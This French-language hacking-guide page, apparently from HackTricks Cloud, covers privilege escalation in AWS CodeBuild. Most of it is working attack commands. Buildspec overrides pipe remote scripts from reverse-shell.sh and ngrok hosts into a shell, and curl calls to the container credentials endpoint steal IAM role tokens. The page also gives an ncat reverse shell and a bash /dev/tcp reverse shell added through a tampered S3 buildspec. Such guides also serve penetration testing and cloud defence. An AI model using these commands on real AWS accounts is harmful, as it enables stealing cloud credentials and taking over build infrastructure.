AWS - Codebuild Privesc
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
codebuild
Obtenez plus d'informations dans :
codebuild:StartBuild | codebuild:StartBuildBatch
Avec seulement l'une de ces permissions, il suffit de déclencher un build avec un nouveau buildspec et de voler le token du rôle iam assigné au projet :
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
Note : La différence entre ces deux commandes est que :
StartBuilddéclenche un seul job de build en utilisant unbuildspec.ymlspécifique.StartBuildBatchpermet de lancer un ensemble de builds, avec des configurations plus complexes (comme exécuter plusieurs builds en parallèle).
Impact potentiel : Privesc direct vers les rôles AWS Codebuild attachés.
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Un attaquant disposant des permissions iam:PassRole, codebuild:CreateProject, et codebuild:StartBuild ou codebuild:StartBuildBatch pourrait effectuer un privesc vers n'importe quel rôle IAM codebuild en en créant un en cours d'exécution.
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
Impact potentiel : Privesc direct sur n'importe quel rôle AWS Codebuild.
warning
Dans un conteneur Codebuild le fichier /codebuild/output/tmp/env.sh contient toutes les variables d'environnement nécessaires pour accéder aux metadata credentials.
Ce fichier contient la variable d'environnement
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIqui contient le chemin d'URL pour accéder aux credentials. Ce sera quelque chose comme/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Ajoutez cela à l'URL
http://169.254.170.2/et vous pourrez dump les identifiants du rôle.
De plus, il contient aussi la variable d'environnement
ECS_CONTAINER_METADATA_URIqui contient l'URL complète pour obtenir les informations metadata sur le conteneur.
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Comme dans la section précédente, si au lieu de créer un build project vous pouvez le modifier, vous pouvez indiquer le IAM Role et voler le token
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Impact potentiel : Privesc direct sur n'importe quel rôle AWS Codebuild.
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Comme dans la section précédente mais sans la permission iam:PassRole, vous pouvez abuser de cette permission pour modifier les projets Codebuild existants et accéder au rôle qui leur est déjà assigné.
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Impact potentiel : Privesc direct vers les rôles AWS Codebuild attachés.
SSM
Avec les permissions suffisantes pour démarrer une session ssm, il est possible d'entrer dans un projet Codebuild en cours de build.
The codebuild project will need to have a breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
Et ensuite:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
Pour plus d'infos check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
Un attacker capable de démarrer/redémarrer un build d'un projet CodeBuild spécifique qui stocke son fichier buildspec.yml sur un bucket S3 auquel l'attacker a un accès en écriture, peut obtenir command execution dans le processus CodeBuild.
Remarque : l'escalation n'est pertinente que si le CodeBuild worker a un role différent — idéalement plus privileged — que celui de l'attacker.
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
Vous pouvez utiliser un buildspec comme celui-ci pour obtenir une reverse shell:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impact : Privesc direct vers le rôle utilisé par le worker AWS CodeBuild qui a généralement des privilèges élevés.
warning
Notez que le buildspec peut être fourni au format zip, donc un attaquant devrait le télécharger, le décompresser, modifier le buildspec.yml à partir du répertoire racine, le recomprimer et le téléverser
Plus de détails sont disponibles ici.
Impact potentiel : Privesc direct vers les rôles AWS Codebuild attachés.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud